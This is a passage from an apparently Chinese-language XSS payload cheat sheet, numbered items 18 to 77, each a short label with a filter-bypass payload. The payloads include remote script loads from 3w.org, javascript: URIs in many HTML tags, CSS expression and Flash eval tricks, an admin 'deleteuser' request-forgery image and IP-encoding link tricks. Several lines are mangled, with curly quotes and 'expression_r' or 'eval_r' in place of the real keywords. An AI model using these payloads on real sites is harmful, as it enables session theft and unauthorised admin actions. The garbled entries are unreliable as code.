(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCRIPT>alert(”XSS”)</SCRIPT>”;’ > out
(19)Spaces和meta前的IMG标签
<IMG SRC=” javascript:alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(27)双开角括号
<iframe src=http://3w.org/XSS.html>
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)换码过滤的JavaScript
[code]”;alert(‘XSS’);//
(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>
(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
(33)BODY标签
<BODY(‘XSS’)>
(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(”";
c=”javascript:”;
d=”alert(‘XSS’);”)”;
eval_r(a+b+c+d);
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式命令,可执行任意命令
<IMG SRC=”http://www.zoyzo.cn/a.php?a=b”>
(60)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg http://www.zoyzo.cn/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
(62)
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
(63)
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
(64)
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
(65)
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
(66)
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
(67)
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
(68)URL绕行
<A HREF=”http://127.0.0.1/”>XSS</A>
(69)URL编码
<A HREF=”http://3w.org”>XSS</A>
(70)IP十进制
<A HREF=”http://3232235521″>XSS</A>
(71)IP十六进制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP八进制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>
(74)节省[http:]
<A HREF=”//www.exehack.net/”>XSS</A>
(75)节省[www]
<A HREF=”https://www.exehack.net/”>XSS</A>
(76)绝对点绝对DNS
<A HREF=”https://www.exehack.net./”>XSS</A>
(77)javascript链接
<A HREF=”javascript:document.location=’https://www.exehack.net/’”>XSS</A>
========